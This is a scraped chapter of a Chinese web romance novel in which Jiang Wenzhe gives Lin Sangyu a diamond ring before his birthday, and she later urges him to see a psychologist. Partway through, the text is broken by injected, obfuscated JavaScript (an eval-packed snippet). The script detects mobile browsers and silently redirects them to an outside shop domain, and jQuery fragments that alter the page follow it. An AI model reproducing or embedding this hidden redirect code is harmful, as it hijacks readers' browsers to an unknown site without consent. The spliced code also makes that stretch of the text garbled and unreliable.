文趣网 > 都市小说 > 小飞侠来咯 > 21.第 21 章
    回国后的第九天,一个平凡的夜晚。

    下班回来的江闻折意外地发现林桑渔不在一楼等他,回到卧室也不见人影,最后才在她的直播房里找到她。

    找得有些急,江闻折喘着气喊道:“林桑渔。”

    “等一下,我马上回你。”林桑渔紧急叫停江闻折,头也没抬一下,继续埋头打字,跟品牌方商定佣金结算和活动机制的事宜。

    自从在英国那个视频又火了后,回国后她就开始着手直播的事情了。现在正在谈的几个品牌,都是她吃下来觉得确实好吃的。

    动物最了解动物,她选出的动物零食肯定是最好吃的。

    “好,那你先忙。”江闻折顿了一下,说道。

    “嘿嘿,忙完了,我说马上就是马上吧,”林桑渔猛地从手机屏幕上移开眼,去看站在旁边的江闻折,然后瞬间就呆住,过了好久才眨第二次眼,她失神道,“你今天怎么把自己打扮得这么好看。”

    江闻折平常一贯是崇尚干净整洁就好,鲜有这么用心打理过自己。额前碎发被造型师打理得层次分明,不似往日向后随意梳拢,几缕发丝轻垂眉骨,冲淡了几分生人勿近的冷硬。

    并且,不知道是不是林桑渔的幻觉,他觉得今天江闻折的眼神也不太一样。

    好像有一点点的……温柔?

    “想打扮就打扮了,”江闻折仿佛不甚在意地说,“手摊开。”

    林桑渔摊开手,下一秒,一枚戒指从江闻折的手掌滑落,降临在她的手心。

    没有任何包装的,就只有一枚戒指。

    她用指尖小心拿起,刚一触碰上,就发现戒指上有点湿。

    应该是江闻折手心的汗,林桑渔想。

    林桑渔两眼放光,真心实意地赞叹道:“好漂亮啊。”

    戒指主石是一颗饱满的梨形粉钻,蜜桃粉调温润通透,内里流光火彩细碎温柔,外围双层环绕梯方与圆钻,层层叠叠如绽放的雪花。粉光与冷白交相呼应,奢华感扑面而来。

    江闻折嗓音嘶哑,目光灼灼:“漂亮那就戴上吧,随便买的,不知道你的指维,你看你哪只手指可以戴上就戴哪只。”

    “好。”林桑渔拿在手上又欣赏了会儿,才准备戴上。

    林桑渔是右手常用手,自然是右手拿着戒指往左手上戴。她从大拇指开始试,大拇指不行,食指不行,中指不行……

    无名指,

    套进去了。

    林桑渔微微睁大眼睛,大脑有一瞬间的空白。

    这是在求婚吗?

    不过想法很快被她自己否定掉。

    恋人之间才求婚,她和江闻折才不是。

    而且,江闻折下班回家给自己带礼物也不是一两次了。

    小到傍晚在街边撞见老奶奶卖花,他会一股脑地全部买下,回家后悉数塞进她的怀里。

    她惦念许久、心心念念的小蛋糕,稀奇古怪的炸虫子……他纵使面色冷沉,但还是会买回家。

    大到偶尔参加拍卖会,也会顺手给自己拍下几件。成品首饰,水晶摆件,复古花卉版画……

    戒指也是买过的,只是那一次她戴进去的是食指。

    所以,这次只是巧合。

    江闻折沉沉的目光落在林桑渔的无名指上。指甲他昨天才给林桑渔修过,涂了一层薄薄的裸色护甲油,干净清透。戒指戴上,修长的手指舒展,浑然天成,也不知是戒指衬人,还是人更衬戒指。

    江闻折的呼吸放得极轻,皮肉压抑着紧张,他刻意把声音说得无波无澜:“那就戴在无名指上吧,合适。”

    林桑渔喃喃道:“可是……可是这不应该是已婚人士戴的吗?”

    这好像是不合规矩的。

    “这有什么关系,一个饰品而已,”江闻折低声哄骗着,“而且,戴在无名指上可以很好的避免一些烂桃花,还是说你还在想娶三个男人回家?”

    怎么又提糗事,林桑渔连忙否认:“没有的事!”

    “那就带着吧,正好我明天生日宴,你穿礼裙也不可能不戴点饰品。”江闻折像是在真心给建议。

    林桑渔本来还在纠结,低下头又看了眼那枚钻戒,熠熠生辉、光彩夺目,真的好漂亮,完全长在她的审美点上,戴上就舍不得摘了。

    被蛊惑着,林桑渔说:“好吧。”

    “你如果实在是还觉得别扭,我可以陪你一起戴,”江闻折说,“也戴在无名指上。”

    最后那点顾虑被打散,林桑渔笑了,笑得很灿烂:“好呀好呀,我们一起戴。”

    忽而,一滴无色无味的雨从万米高空坠落,掷地有声,紧接着夏雨带着它特有的磅礴力量,哗啦啦的,顷刻间就变成暴雨倾盆。

    两人同时望向窗外,风起,窗帘被低低地吹着。

    荒芜大地,激烈地被大雨冲刷,阴湿的青苔在某个不知名角落铺展出蓬勃绿意。

    带着湿意的风吹过脸颊,林桑渔说:“下雨了,江闻折。”

    江闻折“嗯”了一声,重新垂眸看身前扭着脖子看雨的林桑渔,肤色冷白近乎透明,肩颈线条绷出好看的曲线。

    江闻折言辞笃定:“明天会是艳阳天。”

    “真的吗?”望着这大雨,林桑渔有些不信。

    “嗯,看了天气预报的。”

    “那就好,明天可是你的生日,”林桑渔将头终于扭了回来,笑嘻嘻地对着江闻折说,“今天可是你最后一天三十一岁的日子了。”

    “是啊。”

    可是你还很年轻。

    “时间过得好快。”

    耳边依旧是淅沥沥的雨声,很响很脆。

    江闻折沉下肩膀,很突然地问:“你说,你变成人了,真的是人类的寿命吗?”

    林桑渔想了一下说:“应该是吧,我都活了二十四年了。”

    过了很久,江闻折才说:“会长生不老吗?”

    林桑渔的表情陡然变得严肃,眉眼紧紧敛起,脸色沉下来。

    江闻折第一次见她露出这样的表情。

    他听见她说:“江闻折,我不想长生不老。”

    长生不老,很痛苦。

    离别,也真的很痛苦。

    话题太沉重,江闻折久久不回应,林桑渔又变回嬉皮笑脸的样子,张开双手:“我累了,我想洗澡上床呆着了。”

    整理完情绪,江闻折将林桑渔抱起,温声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640985|205654||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说:“好。”

    “明天你真的一天都不上班吗?”林桑渔闷在江闻折的怀里,表情全都隐藏。

    “请假了,真的。”江闻折颠了一下林桑渔,抱得更高防止她摔倒。

    “那我们可以睡到十一点才起床吗?”

    她都好久没有睡过懒觉了。

    “不可以。”江闻折回得毫不犹豫。

    “为什么?”

    “不吃早饭对身体不好。”

    “……好吧。”

    *

    被子里是两人共同的沐浴露香气,丝丝缕缕地弥漫在鼻尖。

    “怎么还睁着眼睛,不睡觉?”

    江闻折欲抬手合上,结果一打开又是两只睁得圆圆的眼睛。

    “都说了,明天不能赖床。”

    林桑渔说:“要准时给你送生日礼物。”

    江闻折无奈道:“明天白天也可以送。”

    “不行不行,就要卡点,我怕我明天就没有勇气送这个生日礼物了。”

    “送礼物还需要勇气?”江闻折没放在心上,“那你就睁着眼吧,我睡了。”

    “好啊,反正我订了十二点的闹钟,也会把你闹醒的。”林桑渔炫耀似的摇了摇她手上的手机。

    江闻折很轻地叹了一口气,重新睁开眼。

    林桑渔就叽叽喳喳地拉着他东扯扯,西聊聊。讲到激动的时候,还会一下子坐起来,手舞足蹈地给江闻折演示。

    江闻折听了一会儿,又把林桑渔拉回,把被子重新给她掖好。

    “我不冷的。”

    “不冷也要盖好,尤其是肚子不能露外面。”

    “叮铃铃——”

    闹钟响了。

    江闻折撑坐起来看她:“时间到了,礼物送完就睡觉了吧。”

    早知道让她送礼物,会熬夜,就不叫她送了。

    真当零点到来,林桑渔却很异常地沉默了一瞬,空气凝滞。

    她动作略显不自然地翻身下床,漆黑的卧室传来一阵拉抽屉的声音。

    待林桑渔重新回到床上,江闻折感受到一张冰凉的四四方方的卡递在了他的手心。

    没开灯,厚重的窗帘阻隔月光,江闻折只能感受到这是一张卡,他猜测道:“你该不会把你的工资卡当礼物送我了吧?上次说你是守财奴,就是随便说说的,你不要当真。”

    “不是的,”林桑渔捏紧被子,说道,“江闻折,这是衡安医院的年卡。”

    江闻折有些不可置信,手按在林桑渔的肩上,用一种质问的语气说:“医院?”

    “对。”

    “我每年都有家庭医生定期来给我体检,我很健康。”

    林桑渔握上江闻折的手掌,安抚似的用大拇指揉了揉他的手背,低声说:“可是,江闻折,你真的生病了。”

    江闻折此时觉得自己跟林桑渔已经不在一个频道了。

    他自己好好的,怎么可能会生病呢?

    怎么会呢?

    他问:“我自己怎么不知道?”

    黑暗中,林桑渔深吸一口气,像是在汲取勇气,她扑进江闻折的怀里,颤着嗓音说:“江闻折,你去看心理医生吧。”